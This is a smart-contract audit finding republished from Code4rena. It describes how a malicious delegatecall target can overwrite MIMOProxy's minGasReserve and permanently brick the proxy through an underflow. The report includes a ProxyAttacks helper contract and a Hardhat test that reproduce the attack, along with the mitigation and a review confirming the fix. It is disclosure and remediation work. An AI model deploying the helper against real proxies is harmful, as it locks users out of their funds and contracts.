Skip to content
DoS Audit finding Intermediate

Malicious manipulation of gas reserve can deny access to MIMOProxy

The MIMOProxy contract stores a minimum gas reserve value that can be overwritten by a malicious target contract during a delegatecall, setting it to an extremely high number. This causes the gas stipend calculation to underflow and revert on every subsequent call, permanently blocking access to the proxy.

horsefacts Follow

Originally disclosed on Code4rena

*Submitted by horsefacts, also found by giovannidisiena and Lambda*

[https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L18-L19](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L18-L19)

[https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L74-L79](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L74-L79)

### Vulnerability Details

The `MIMOProxy` contract defines a `minGasReserve` value as a storage variable:

[`MIMOProxy.sol#L18`](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L18-L19):

```
  /// @inheritdoc IMIMOProxy
  uint256 public override minGasReserve;
```

The `execute` function uses this `minGasReserve` value to calculate a gas stipend to provide to the target contract when executing a `delegatecall`:

[`MIMOProxy.sol#L74`](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L74-L79):

```
    // Reserve some gas to ensure that the function has enough to finish the execution.
    uint256 stipend = gasleft() - minGasReserve;

    // Delegate call to the target contract.
    bool success;
    (success, response) = target.delegatecall{ gas: stipend }(data);
```

Although `minGasReserve` is a public storage variable, it has no corresponding setter function. There used to be one in the upstream `PRBProxy`, but it was [removed](https://github.com/paulrberg/prb-proxy/blob/main/CHANGELOG.md#removed) in version 2.0. The intent of this change was to simplify the proxy contract, while allowing users to `delegatecall` to their own target contract to [set this value](https://github.com/paulrberg/prb-proxy/issues/21) if necessary.

However, a malicious target contract can permanently block access to a `MIMOProxy` by setting `minGasReserve` to a very high value and forcing an underflow in the gas stipend calculation:

[`MIMOProxy.sol#L75`](https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L74-L75)

```
    // Reserve some gas to ensure that the function has enough to finish the execution.
    uint256 stipend = gasleft() - minGasReserve;
```

If a target contract intentionally or accidentally sets `minGasReserve` to a value higher than the block gas limit, the `execute` function will always underflow and revert. In this scenario, it is impossible to set `minGasReserve` back to a reasonable value, since the change must be made through the `execute` function.

**Impact:** If a user intentionally or accidentally sets a high `minGasReserve`, they may permanently lose access to their `MIMOProxy`. Malicious target contracts may attempt to trick users into bricking their proxy contracts using this method.

### Recommended Mitigation Steps

Restore the `setMinGasReserve` function removed in `PRBProxy` v2.0, which will allow the proxy owner to directly set this value:

```
    function setMinGasReserve(uint256 newMinGasReserve) external override {
        if (owner != msg.sender) {
            revert CustomErrors.NOT_OWNER(owner, msg.sender);
        }
        minGasReserve = newMinGasReserve;
    }
```

#### Test cases

We’ll use this `ProxyAttacks` helper contract to manipulate proxy storage. Note that it has the same storage layout as `MIMOProxy`.

```
contract ProxyAttacks {

   address public owner;
   uint256 public minGasReserve;
   mapping(address => mapping(address => mapping(bytes4 => bool))) internal _permissions;

   // Selector 0xf613a687
   function returnTrue() external pure returns (bool) {
     return true;
   }

   // Selector 0x5f9981ae
   function setGasReserve() external {
     minGasReserve = type(uint256).max;
   }
}
```

Then deploy the `ProxyAttacks` helper in a test environment and use `MIMOProxy` to `delegatecall` into it:

```
import chai, { expect } from 'chai';
import { solidity } from 'ethereum-waffle';
import { deployments, ethers } from 'hardhat';

import { MIMOProxy, MIMOProxyFactory, MIMOProxyRegistry, ProxyAttacks } from '../../typechain';

chai.use(solidity);

const setup = deployments.createFixture(async () => {
  const { deploy } = deployments;
  const [owner, attacker] = await ethers.getSigners();

  await deploy("MIMOProxy", {
    from: owner.address,
    args: [],
  });
  const mimoProxyBase: MIMOProxy = await ethers.getContract("MIMOProxy");

  await deploy("MIMOProxyFactory", {
    from: owner.address,
    args: [mimoProxyBase.address],
  });
  const mimoProxyFactory: MIMOProxyFactory = await ethers.getContract("MIMOProxyFactory");

  await deploy("MIMOProxyRegistry", {
    from: owner.address,
    args: [mimoProxyFactory.address],
  });
  const mimoProxyRegistry: MIMOProxyRegistry = await ethers.getContract("MIMOProxyRegistry");

  await deploy("ProxyAttacks", {
    from: owner.address,
    args: [],
  });
  const proxyAttacks: ProxyAttacks = await ethers.getContract("ProxyAttacks");

  return {
    owner,
    attacker,
    mimoProxyBase,
    mimoProxyFactory,
    mimoProxyRegistry,
    proxyAttacks,
  };
});

describe("Proxy attack tests", () => {
  it("DoS by manipulating gas reserve", async () => {
    const { owner, mimoProxyRegistry, proxyAttacks } = await setup();
    await mimoProxyRegistry.deploy();
    const currentProxy = await mimoProxyRegistry.getCurrentProxy(owner.address);

    const proxy = await ethers.getContractAt("MIMOProxy", currentProxy);

    // Call setGasReserve on ProxyAttacks contract
    await proxy.execute(proxyAttacks.address, "0x5f9981ae");

    // Proxy's minGasReserve is now type(uint256).max
    expect(await proxy.minGasReserve()).to.equal(ethers.constants.MaxUint256);

    // All calls revert due to underflow calculating gas stipend
    await expect(proxy.execute(proxyAttacks.address, "0xf613a687")).to.be.revertedWith(
      "Arithmetic operation underflowed or overflowed outside of an unchecked block",
    );
  });
});
```

**[RnkSngh (Mimo) marked as duplicate](https://github.com/code-423n4/2022-08-mimo-findings/issues/158#issuecomment-1210483560):**

> Duplicate of [#161](https://github.com/code-423n4/2022-08-mimo-findings/issues/161).

**[gzeoneth (judge) commented](https://github.com/code-423n4/2022-08-mimo-findings/issues/158#issuecomment-1221557802):**

> Not a duplicate due to griefing by minGasReserve.

**horsefacts (warden) reviewed mitigation:**

> **Status:** �
 Resolved

> **Finding:** Wardens identified that users could lose access to their `MIMOProxy` by setting a high minimum gas reserve using `delegatecall`.

> **What changed:** The minimum gas reserve by proxy address is now stored in the `_proxyStates` mapping in `MIMOProxyFactory`. The proxy owner may update the minimum gas reserve value for their proxy by calling the `setMinGas` function. This behavior is demonstrated by a unit test [here](https://github.com/mimo-capital/2022-08-mimo/blob/4e579420ecbe3fc3e770996610e6ab66b0c8d15b/test/01_unit/proxy/MIMOProxyFactory.test.ts#L204). Only the owner may call `setMinGas`. Authorization behavior is demonstrated by a unit test [here](https://github.com/mimo-capital/2022-08-mimo/blob/4e579420ecbe3fc3e770996610e6ab66b0c8d15b/test/01_unit/proxy/MIMOProxyFactory.test.ts#L215).

> **Why it works:** Since `minGasReserve` is no longer stored in `MIMOProxy` storage, it cannot be manipulated as described in the original finding.

---

The original report as published on Code4rena, by horsefacts. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The minGasReserve storage variable can be modified by any delegatecall target, and there is no separate setter function to restore it, so a malicious target can set it to a value that causes a permanent underflow in the gas stipend calculation.

Impact

A user who intentionally or accidentally sets a high minGasReserve may permanently lose access to their MIMOProxy, and malicious target contracts could trick users into bricking their proxies.

What the attacker needed

Victim uses a malicious target contract; or victim accidentally sets high minGasReserve

The fix

The issue was fixed by moving the minimum gas reserve storage to the MIMOProxyFactory and adding an owner-only setMinGas function, so the value can no longer be manipulated via delegatecall.

How it was found

  1. Deploy a malicious helper contract with the same storage layout as MIMOProxy that sets minGasReserve to a very high value.
  2. Use the victim's MIMOProxy to delegatecall into the malicious contract, triggering the storage write.
  3. Observe that minGasReserve is now set to the maximum uint256 value.
  4. Attempt any further call through the proxy; it reverts due to arithmetic underflow in the gas stipend calculation.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A proxy contract lets a user run code from other contracts while keeping their own storage. Here, a value called minGasReserve is stored in the proxy and used to calculate how much gas to forward. If a malicious contract sets that value too high, the calculation breaks and the proxy can no longer be used.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by horsefacts

View all

8 more disclosed reports, best first.

More from Mimo DeFi contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.